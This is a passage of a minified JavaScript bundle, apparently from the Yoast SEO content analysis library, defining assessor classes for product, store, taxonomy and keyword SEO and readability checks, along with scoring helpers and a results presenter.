v.default}}),Object.defineProperty(t,"RelatedKeywordAssessor",{enumerable:!0,get:function(){return a.default}}),Object.defineProperty(t,"RelatedKeywordTaxonomyAssessor",{enumerable:!0,get:function(){return o.default}}),Object.defineProperty(t,"SEOAssessor",{enumerable:!0,get:function(){return l.default}}),Object.defineProperty(t,"StoreBlogCornerstoneSEOAssessor",{enumerable:!0,get:function(){return b.default}}),Object.defineProperty(t,"StoreBlogSEOAssessor",{enumerable:!0,get:function(){return O.default}}),Object.defineProperty(t,"StorePostsAndPagesContentAssessor",{enumerable:!0,get:function(){return N.default}}),Object.defineProperty(t,"StorePostsAndPagesCornerstoneContentAssessor",{enumerable:!0,get:function(){return S.default}}),Object.defineProperty(t,"StorePostsAndPagesCornerstoneRelatedKeywordAssessor",{enumerable:!0,get:function(){return I.default}}),Object.defineProperty(t,"StorePostsAndPagesCornerstoneSEOAssessor",{enumerable:!0,get:function(){return C.default}}),Object.defineProperty(t,"StorePostsAndPagesRelatedKeywordAssessor",{enumerable:!0,get:function(){return D.default}}),Object.defineProperty(t,"StorePostsAndPagesSEOAssessor",{enumerable:!0,get:function(){return w.default}}),Object.defineProperty(t,"TaxonomyAssessor",{enumerable:!0,get:function(){return u.default}});var s=P(r(90488)),n=P(r(45632)),i=P(r(56466)),a=P(r(62178)),o=P(r(56402)),l=P(r(44885)),u=P(r(40863)),c=P(r(14539)),d=P(r(58557)),h=P(r(66225)),f=P(r(19334)),p=P(r(16330)),g=P(r(14174)),m=P(r(92109)),_=P(r(72095)),T=P(r(25058)),E=P(r(79848)),A=P(r(63338)),y=P(r(906)),v=P(r(19067)),b=P(r(4960)),O=P(r(39725)),S=P(r(88110)),I=P(r(64181)),C=P(r(75279)),N=P(r(81712)),D=P(r(79483)),w=P(r(76525));function P(e){return e&&e.__esModule?e:{default:e}}},63338:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=d(r(45632)),n=d(r(7261)),i=d(r(40774)),a=d(r(86089)),o=d(r(62318)),l=d(r(25636)),u=d(r(35780)),c=r(49061);function d(e){return e&&e.__esModule?e:{default:e}}class h extends s.default{constructor(e,t){super(e,t),this.type="productContentAssessor",this._assessments=[new n.default({shouldNotAppearInShortText:!0,urlTitle:(0,c.createAnchorOpeningTag)(t.subheadingUrlTitle),urlCallToAction:(0,c.createAnchorOpeningTag)(t.subheadingCTAUrl)}),new i.default({parameters:{recommendedLength:70,maximumRecommendedLength:100},urlTitle:(0,c.createAnchorOpeningTag)(t.paragraphUrlTitle),urlCallToAction:(0,c.createAnchorOpeningTag)(t.paragraphCTAUrl)},!0),new a.default({slightlyTooMany:20,farTooMany:25,urlTitle:(0,c.createAnchorOpeningTag)(t.sentenceLengthUrlTitle),urlCallToAction:(0,c.createAnchorOpeningTag)(t.sentenceLengthCTAUrl)},!1,!0),new o.default({urlTitle:(0,c.createAnchorOpeningTag)(t.transitionWordsUrlTitle),urlCallToAction:(0,c.createAnchorOpeningTag)(t.transitionWordsCTAUrl)}),new l.default({urlTitle:(0,c.createAnchorOpeningTag)(t.passiveVoiceUrlTitle),urlCallToAction:(0,c.createAnchorOpeningTag)(t.passiveVoiceCTAUrl)}),new u.default({urlTitle:(0,c.createAnchorOpeningTag)(t.textPresenceUrlTitle),urlCallToAction:(0,c.createAnchorOpeningTag)(t.textPresenceCTAUrl)})]}}t.default=h},72095:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=o(r(63338)),n=o(r(7261)),i=o(r(86089)),a=r(49061);function o(e){return e&&e.__esModule?e:{default:e}}class l extends s.default{constructor(e,t){super(e,t),this.type="productCornerstoneContentAssessor",this.addAssessment("subheadingsTooLong",new n.default({parameters:{slightlyTooMany:250,farTooMany:300,recommendedMaximumLength:250},applicableIfTextLongerThan:250,shouldNotAppearInShortText:!0,urlTitle:(0,a.createAnchorOpeningTag)(t.subheadingUrlTitle),urlCallToAction:(0,a.createAnchorOpeningTag)(t.subheadingCTAUrl),cornerstoneContent:!0})),this.addAssessment("textSentenceLength",new i.default({slightlyTooMany:15,farTooMany:20,urlTitle:(0,a.createAnchorOpeningTag)(t.sentenceLengthUrlTitle),urlCallToAction:(0,a.createAnchorOpeningTag)(t.sentenceLengthCTAUrl)},!0,!0))}}t.default=l},25058:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=a(r(906)),n=a(r(8980)),i=r(49061);function a(e){return e&&e.__esModule?e:{default:e}}class o extends s.default{constructor(e,t){super(e,t),this.type="productPageCornerstoneRelatedKeywordAssessor",this.addAssessment("imageKeyphrase",new n.default({scores:{withAltNonKeyword:3,withAlt:3,noAlt:3},urlTitle:(0,i.createAnchorOpeningTag)(t.imageKeyphraseUrlTitle),urlCallToAction:(0,i.createAnchorOpeningTag)(t.imageKeyphraseCTAUrl)}))}}t.default=o},79848:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=u(r(19067)),n=u(r(70476)),i=u(r(57480)),a=u(r(80009)),o=u(r(8980)),l=r(49061);function u(e){return e&&e.__esModule?e:{default:e}}class c extends s.default{constructor(e,t){super(e,t),this.type="productCornerstoneSEOAssessor",this.addAssessment("metaDescriptionLength",new n.default({scores:{tooLong:3,tooShort:3},urlTitle:(0,l.createAnchorOpeningTag)(t.metaDescriptionLengthUrlTitle),urlCallToAction:(0,l.createAnchorOpeningTag)(t.metaDescriptionLengthCTAUrl)})),this.addAssessment("textLength",new i.default({recommendedMinimum:400,slightlyBelowMinimum:300,belowMinimum:200,scores:{belowMinimum:-20,farBelowMinimum:-20},urlTitle:(0,l.createAnchorOpeningTag)(t.textLengthUrlTitle),urlCallToAction:(0,l.createAnchorOpeningTag)(t.textLengthCTAUrl),cornerstoneContent:!0,customContentType:this.type})),this.addAssessment("slugKeyword",new a.default({scores:{okay:3},urlTitle:(0,l.createAnchorOpeningTag)(t.urlKeyphraseUrlTitle),urlCallToAction:(0,l.createAnchorOpeningTag)(t.urlKeyphraseCTAUrl)})),this.addAssessment("imageKeyphrase",new o.default({scores:{withAltNonKeyword:3,withAlt:3,noAlt:3},urlTitle:(0,l.createAnchorOpeningTag)(t.imageKeyphraseUrlTitle),urlCallToAction:(0,l.createAnchorOpeningTag)(t.imageKeyphraseCTAUrl)}))}}t.default=c},906:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=h(r(62178)),n=h(r(90575)),i=h(r(99815)),a=h(r(70966)),o=h(r(34847)),l=h(r(69360)),u=h(r(3139)),c=h(r(8980)),d=r(49061);function h(e){return e&&e.__esModule?e:{default:e}}class f extends s.default{constructor(e,t){super(e,t),this.type="productPageRelatedKeywordAssessor",this._assessments=[new n.default({urlTitle:(0,d.createAnchorOpeningTag)(t.introductionKeyphraseUrlTitle),urlCallToAction:(0,d.createAnchorOpeningTag)(t.introductionKeyphraseCTAUrl)}),new i.default({parameters:{recommendedMinimum:4,recommendedMaximum:6,acceptableMaximum:8,acceptableMinimum:2},isRelatedKeyphrase:!0,urlTitle:(0,d.createAnchorOpeningTag)(t.keyphraseLengthUrlTitle),urlCallToAction:(0,d.createAnchorOpeningTag)(t.keyphraseLengthCTAUrl)},!0),new a.default({urlTitle:(0,d.createAnchorOpeningTag)(t.keyphraseDensityUrlTitle),urlCallToAction:(0,d.createAnchorOpeningTag)(t.keyphraseDensityCTAUrl)}),new o.default({urlTitle:(0,d.createAnchorOpeningTag)(t.metaDescriptionKeyphraseUrlTitle),urlCallToAction:(0,d.createAnchorOpeningTag)(t.metaDescriptionKeyphraseCTAUrl)}),new l.default({urlTitle:(0,d.createAnchorOpeningTag)(t.textCompetingLinksUrlTitle),urlCallToAction:(0,d.createAnchorOpeningTag)(t.textCompetingLinksCTAUrl)}),new u.default({urlTitle:(0,d.createAnchorOpeningTag)(t.functionWordsInKeyphraseUrlTitle),urlCallToAction:(0,d.createAnchorOpeningTag)(t.functionWordsInKeyphraseCTAUrl)}),new c.default({urlTitle:(0,d.createAnchorOpeningTag)(t.imageKeyphraseUrlTitle),urlCallToAction:(0,d.createAnchorOpeningTag)(t.imageKeyphraseCTAUrl)})]}}t.default=f},19067:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=A(r(44885)),n=A(r(90575)),i=A(r(99815)),a=A(r(70966)),o=A(r(34847)),l=A(r(69360)),u=A(r(3139)),c=A(r(8980)),d=A(r(70476)),h=A(r(17915)),f=A(r(57480)),p=A(r(46787)),g=A(r(46430)),m=A(r(80009)),_=A(r(47502)),T=A(r(38754)),E=r(49061);function A(e){return e&&e.__esModule?e:{default:e}}class y extends s.default{constructor(e,t){super(e,t),this.type="productSEOAssessor",this._assessments=[new n.default({urlTitle:(0,E.createAnchorOpeningTag)(t.introductionKeyphraseUrlTitle),urlCallToAction:(0,E.createAnchorOpeningTag)(t.introductionKeyphraseCTAUrl)}),new i.default({parameters:{recommendedMinimum:4,recommendedMaximum:6,acceptableMaximum:8,acceptableMinimum:2},urlTitle:(0,E.createAnchorOpeningTag)(t.keyphraseLengthUrlTitle),urlCallToAction:(0,E.createAnchorOpeningTag)(t.keyphraseLengthCTAUrl)},!0),new a.default({urlTitle:(0,E.createAnchorOpeningTag)(t.keyphraseDensityUrlTitle),urlCallToAction:(0,E.createAnchorOpeningTag)(t.keyphraseDensityCTAUrl)}),new o.default({urlTitle:(0,E.createAnchorOpeningTag)(t.metaDescriptionKeyphraseUrlTitle),urlCallToAction:(0,E.createAnchorOpeningTag)(t.metaDescriptionKeyphraseCTAUrl)}),new d.default({urlTitle:(0,E.createAnchorOpeningTag)(t.metaDescriptionLengthUrlTitle),urlCallToAction:(0,E.createAnchorOpeningTag)(t.metaDescriptionLengthCTAUrl)}),new h.default({urlTitle:(0,E.createAnchorOpeningTag)(t.subheadingsKeyphraseUrlTitle),urlCallToAction:(0,E.createAnchorOpeningTag)(t.subheadingsKeyphraseCTAUrl)}),new l.default({urlTitle:(0,E.createAnchorOpeningTag)(t.textCompetingLinksUrlTitle),urlCallToAction:(0,E.createAnchorOpeningTag)(t.textCompetingLinksCTAUrl)}),new f.default({recommendedMinimum:200,slightlyBelowMinimum:150,belowMinimum:100,veryFarBelowMinimum:50,urlTitle:(0,E.createAnchorOpeningTag)(t.textLengthUrlTitle),urlCallToAction:(0,E.createAnchorOpeningTag)(t.textLengthCTAUrl),customContentType:this.type}),new p.default({urlTitle:(0,E.createAnchorOpeningTag)(t.titleKeyphraseUrlTitle),urlCallToAction:(0,E.createAnchorOpeningTag)(t.titleKeyphraseCTAUrl)}),new g.default({scores:{widthTooShort:9},urlTitle:(0,E.createAnchorOpeningTag)(t.titleWidthUrlTitle),urlCallToAction:(0,E.createAnchorOpeningTag)(t.titleWidthCTAUrl)},!0),new m.default({urlTitle:(0,E.createAnchorOpeningTag)(t.urlKeyphraseUrlTitle),urlCallToAction:(0,E.createAnchorOpeningTag)(t.urlKeyphraseCTAUrl)}),new u.default({urlTitle:(0,E.createAnchorOpeningTag)(t.functionWordsInKeyphraseUrlTitle),urlCallToAction:(0,E.createAnchorOpeningTag)(t.functionWordsInKeyphraseCTAUrl)}),new _.default({urlTitle:(0,E.createAnchorOpeningTag)(t.singleH1UrlTitle),urlCallToAction:(0,E.createAnchorOpeningTag)(t.singleH1CTAUrl)}),new T.default({scores:{okay:6},recommendedCount:4,urlTitle:(0,E.createAnchorOpeningTag)(t.imageCountUrlTitle),urlCallToAction:(0,E.createAnchorOpeningTag)(t.imageCountCTAUrl)},t.countVideos),new c.default({urlTitle:(0,E.createAnchorOpeningTag)(t.imageKeyphraseUrlTitle),urlCallToAction:(0,E.createAnchorOpeningTag)(t.imageKeyphraseCTAUrl)})]}}t.default=y},62178:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=d(r(90488)),n=d(r(90575)),i=d(r(99815)),a=d(r(70966)),o=d(r(34847)),l=d(r(69360)),u=d(r(3139)),c=d(r(8980));function d(e){return e&&e.__esModule?e:{default:e}}class h extends s.default{constructor(e,t){super(e,t),this.type="relatedKeywordAssessor",this._assessments=[new n.default,new i.default({isRelatedKeyphrase:!0}),new a.default,new o.default,new l.default,new u.default,new c.default]}}t.default=h},56402:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=(s=r(62178))&&s.__esModule?s:{default:s};class i extends n.default{constructor(e,t){super(e,t),this.type="relatedKeywordsTaxonomyAssessor",this.removeAssessment("textCompetingLinks"),this.removeAssessment("imageKeyphrase")}}t.default=i},44885:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=y(r(90488)),n=y(r(90575)),i=y(r(99815)),a=y(r(70966)),o=y(r(34847)),l=y(r(69360)),u=y(r(92922)),c=y(r(46787)),d=y(r(80009)),h=y(r(70476)),f=y(r(17915)),p=y(r(8980)),g=y(r(38754)),m=y(r(57480)),_=y(r(27661)),T=y(r(46430)),E=y(r(3139)),A=y(r(47502));function y(e){return e&&e.__esModule?e:{default:e}}class v extends s.default{constructor(e,t){super(e,t),this.type="SEOAssessor",this._assessments=[new n.default,new i.default,new a.default,new o.default,new h.default,new f.default,new l.default,new p.default,new g.default,new m.default,new _.default,new c.default,new u.default,new T.default({scores:{widthTooShort:9}},!0),new d.default,new E.default,new A.default]}}t.default=v},4960:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=o(r(39725)),n=o(r(70476)),i=o(r(80009)),a=r(49061);function o(e){return e&&e.__esModule?e:{default:e}}class l extends s.default{constructor(e,t){super(e,t),this.type="storeBlogCornerstoneSEOAssessor",this.addAssessment("metaDescriptionLength",new n.default({scores:{tooLong:3,tooShort:3},urlTitle:(0,a.createAnchorOpeningTag)("https://yoa.st/shopify46"),urlCallToAction:(0,a.createAnchorOpeningTag)("https://yoa.st/shopify47")})),this.addAssessment("slugKeyword",new i.default({scores:{okay:3},urlTitle:(0,a.createAnchorOpeningTag)("https://yoa.st/shopify26"),urlCallToAction:(0,a.createAnchorOpeningTag)("https://yoa.st/shopify27")}))}}t.default=l},39725:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=h(r(44885)),n=h(r(99815)),i=h(r(34847)),a=h(r(70476)),o=h(r(46787)),l=h(r(46430)),u=h(r(80009)),c=h(r(3139)),d=r(49061);function h(e){return e&&e.__esModule?e:{default:e}}class f extends s.default{constructor(e,t){super(e,t),this.type="storeBlogSEOAssessor",this._assessments=[new n.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify10"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify11")}),new i.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify14"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify15")}),new a.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify46"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify47")}),new o.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify24"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify25")}),new l.default({scores:{widthTooShort:9},urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify52"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify53")},!0),new u.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify26"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify27")}),new c.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify50"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify51")})]}}t.default=f},81712:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=h(r(45632)),n=h(r(7261)),i=h(r(40774)),a=h(r(86089)),o=h(r(62318)),l=h(r(25636)),u=h(r(35780)),c=h(r(38196)),d=r(49061);function h(e){return e&&e.__esModule?e:{default:e}}class f extends s.default{constructor(e,t){super(e,t),this.type="storePostsAndPagesContentAssessor",this._assessments=[new n.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify68"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify69")}),new i.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify66"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify67")}),new a.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify48"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify49")}),new o.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify44"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify45")}),new l.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify42"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify43")}),new u.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify56"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify57")}),new c.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify5"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify65")})]}}t.default=f},88110:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=o(r(81712)),n=o(r(7261)),i=o(r(86089)),a=r(49061);function o(e){return e&&e.__esModule?e:{default:e}}class l extends s.default{constructor(e,t){super(e,t),this.type="storePostsAndPagesCornerstoneContentAssessor",this.addAssessment("subheadingsTooLong",new n.default({parameters:{slightlyTooMany:250,farTooMany:300,recommendedMaximumLength:250},urlTitle:(0,a.createAnchorOpeningTag)("https://yoa.st/shopify68"),urlCallToAction:(0,a.createAnchorOpeningTag)("https://yoa.st/shopify69"),cornerstoneContent:!0})),this.addAssessment("textSentenceLength",new i.default({slightlyTooMany:20,farTooMany:25,urlTitle:(0,a.createAnchorOpeningTag)("https://yoa.st/shopify48"),urlCallToAction:(0,a.createAnchorOpeningTag)("https://yoa.st/shopify49")},!0))}}t.default=l},64181:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=a(r(79483)),n=a(r(8980)),i=r(49061);function a(e){return e&&e.__esModule?e:{default:e}}class o extends s.default{constructor(e,t){super(e,t),this.type="storePostsAndPagesCornerstoneRelatedKeywordAssessor",this.addAssessment("imageKeyphrase",new n.default({scores:{withAltNonKeyword:3,withAlt:3,noAlt:3},urlTitle:(0,i.createAnchorOpeningTag)("https://yoa.st/shopify22"),urlCallToAction:(0,i.createAnchorOpeningTag)("https://yoa.st/shopify23")}))}}t.default=o},75279:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=u(r(76525)),n=u(r(70476)),i=u(r(57480)),a=u(r(80009)),o=u(r(8980)),l=r(49061);function u(e){return e&&e.__esModule?e:{default:e}}class c extends s.default{constructor(e,t){super(e,t),this.type="storePostsAndPagesCornerstoneSEOAssessor",this.addAssessment("metaDescriptionLength",new n.default({scores:{tooLong:3,tooShort:3},urlTitle:(0,l.createAnchorOpeningTag)("https://yoa.st/shopify46"),urlCallToAction:(0,l.createAnchorOpeningTag)("https://yoa.st/shopify47")})),this.addAssessment("textLength",new i.default({recommendedMinimum:900,slightlyBelowMinimum:400,belowMinimum:300,scores:{belowMinimum:-20,farBelowMinimum:-20},urlTitle:(0,l.createAnchorOpeningTag)("https://yoa.st/shopify58"),urlCallToAction:(0,l.createAnchorOpeningTag)("https://yoa.st/shopify59"),cornerstoneContent:!0})),this.addAssessment("slugKeyword",new a.default({scores:{okay:3},urlTitle:(0,l.createAnchorOpeningTag)("https://yoa.st/shopify26"),urlCallToAction:(0,l.createAnchorOpeningTag)("https://yoa.st/shopify27")})),this.addAssessment("imageKeyphrase",new o.default({scores:{withAltNonKeyword:3,withAlt:3,noAlt:3},urlTitle:(0,l.createAnchorOpeningTag)("https://yoa.st/shopify22"),urlCallToAction:(0,l.createAnchorOpeningTag)("https://yoa.st/shopify23")}))}}t.default=c},79483:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=h(r(62178)),n=h(r(90575)),i=h(r(99815)),a=h(r(70966)),o=h(r(34847)),l=h(r(69360)),u=h(r(3139)),c=h(r(8980)),d=r(49061);function h(e){return e&&e.__esModule?e:{default:e}}class f extends s.default{constructor(e,t){super(e,t),this.type="storePostsAndPagesRelatedKeywordAssessor",this._assessments=[new n.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify8"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify9")}),new i.default({isRelatedKeyphrase:!0,urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify10"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify11")}),new a.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify12"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify13")}),new o.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify14"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify15")}),new l.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify18"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify19")}),new u.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify50"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify51")}),new c.default({urlTitle:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify22"),urlCallToAction:(0,d.createAnchorOpeningTag)("https://yoa.st/shopify23")})]}}t.default=f},76525:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=v(r(44885)),n=v(r(90575)),i=v(r(99815)),a=v(r(70966)),o=v(r(34847)),l=v(r(70476)),u=v(r(17915)),c=v(r(69360)),d=v(r(3139)),h=v(r(8980)),f=v(r(38754)),p=v(r(57480)),g=v(r(27661)),m=v(r(46787)),_=v(r(92922)),T=v(r(46430)),E=v(r(80009)),A=v(r(47502)),y=r(49061);function v(e){return e&&e.__esModule?e:{default:e}}class b extends s.default{constructor(e,t){super(e,t),this.type="storePostsAndPagesSEOAssessor",this._assessments=[new n.default({urlTitle:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify8"),urlCallToAction:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify9")}),new i.default({urlTitle:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify10"),urlCallToAction:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify11")}),new a.default({urlTitle:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify12"),urlCallToAction:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify13")}),new o.default({urlTitle:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify14"),urlCallToAction:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify15")}),new l.default({urlTitle:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify46"),urlCallToAction:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify47")}),new u.default({urlTitle:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify16"),urlCallToAction:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify17")}),new c.default({urlTitle:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify18"),urlCallToAction:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify19")}),new h.default({urlTitle:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify22"),urlCallToAction:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify23")}),new f.default({urlTitle:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify20"),urlCallToAction:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify21")}),new p.default({urlTitle:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify58"),urlCallToAction:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify59")}),new g.default({urlTitle:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify62"),urlCallToAction:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify63")}),new m.default({urlTitle:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify24"),urlCallToAction:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify25")}),new _.default({urlTitle:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify60"),urlCallToAction:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify61")}),new T.default({scores:{widthTooShort:9},urlTitle:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify52"),urlCallToAction:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify53")},!0),new E.default({urlTitle:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify26"),urlCallToAction:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify27")}),new d.default({urlTitle:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify50"),urlCallToAction:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify51")}),new A.default({urlTitle:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify54"),urlCallToAction:(0,y.createAnchorOpeningTag)("https://yoa.st/shopify55")})]}}t.default=b},40863:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getTextLengthAssessment=t.default=void 0;var s=m(r(90488)),n=m(r(90575)),i=m(r(99815)),a=m(r(70966)),o=m(r(34847)),l=m(r(46787)),u=m(r(80009)),c=m(r(70476)),d=m(r(57480)),h=m(r(46430)),f=m(r(3139)),p=m(r(47502)),g=r(49061);function m(e){return e&&e.__esModule?e:{default:e}}const _=()=>new d.default({recommendedMinimum:30,slightlyBelowMinimum:10,veryFarBelowMinimum:1,urlTitle:(0,g.createAnchorOpeningTag)("https://yoa.st/34j"),urlCallToAction:(0,g.createAnchorOpeningTag)("https://yoa.st/34k"),customContentType:"taxonomyAssessor"});t.getTextLengthAssessment=_;class T extends s.default{constructor(e,t){super(e,t),this.type="taxonomyAssessor",this._assessments=[new n.default,new i.default,new a.default,new o.default,new c.default,_(),new l.default,new h.default({scores:{widthTooShort:9}},!0),new u.default,new f.default,new p.default]}}t.default=T},90327:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){return(0,s.filter)(e,(function(e){return e.sentenceLength>t}))};var s=r(92819)},76663:(e,t)=>{"use strict";function r(e,t,r){return e>t&&e<=r}function s(e,t,r){return e>=t&&e<r}function n(e,t,r){return e>=t&&e<=r}Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.inRangeEndInclusive=t.inRange=r,t.inRangeStartEndInclusive=n,t.inRangeStartInclusive=s,t.default={inRange:r,inRangeStartInclusive:s,inRangeEndInclusive:r,inRangeStartEndInclusive:n}},4913:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return.7+e/3}},68055:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,r,i,a){const o=a?a(e.getText()).length:(0,s.default)(e).length;if(0===o)return 0;const l=r*o/(100*(0,n.default)(t));return l<2?2:"min"===i?Math.ceil(l):Math.floor(l)};var s=i(r(60914)),n=i(r(4913));function i(e){return e&&e.__esModule?e:{default:e}}},80572:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"scoreToRating",{enumerable:!0,get:function(){return n.default}});var s,n=(s=r(17413))&&s.__esModule?s:{default:s}},17413:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.default=function(e){return-1===e?"error":0===e?"feedback":e<=4?"bad":e>4&&e<=7?"ok":e>7?"good":""}},4855:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819),n=a(r(17413)),i=a(r(1456));function a(e){return e&&e.__esModule?e:{default:e}}t.default=class{constructor(e){this.keyword=e.keyword,this.assessor=e.assessor,this.output=e.targets.output,this.overall=e.targets.overall||"overallScore",this.presenterConfig=(0,i.default)(),this._disableMarkerButtons=!1,this._activeMarker=!1}setKeyword(e){this.keyword=e}configHasProperty(e){return this.presenterConfig.hasOwnProperty(e)}getIndicator(e){return{className:this.getIndicatorColorClass(e),screenReaderText:this.getIndicatorScreenReaderText(e),fullText:this.getIndicatorFullText(e),screenReaderReadabilityText:this.getIndicatorScreenReaderReadabilityText(e)}}getIndicatorColorClass(e){return this.configHasProperty(e)?this.presenterConfig[e].className:""}getIndicatorScreenReaderText(e){return this.configHasProperty(e)?this.presenterConfig[e].screenReaderText:""}getIndicatorScreenReaderReadabilityText(e){return this.configHasProperty(e)?this.presenterConfig[e].screenReaderReadabilityText:""}getIndicatorFullText(e){return this.configHasProperty(e)?this.presenterConfig[e].fullText:""}resultToRating(e){return(0,s.isObject)(e)?(e.rating=(0,n.default)(e.score),e):""}getIndividualRatings(){const e={},t=this.sort(this.assessor.getValidResults()).map(this.resultToRating);return(0,s.forEach)(t,function(t,r){e[r]=this.addRating(t)}.bind(this)),e}excludeFromResults(e,t){return(0,s.difference)(e,t)}sort(e){const t=this.getUndefinedScores(e),r=this.excludeFromResults(e,t);return r.sort((function(e,t){return e.score-t.score})),t.concat(r)}getUndefinedScores(e){return e.filter((function(e){return(0,s.isUndefined)(e.score)||0===e.score}))}addRating(e){const t=this.getIndicator(e.rating);return 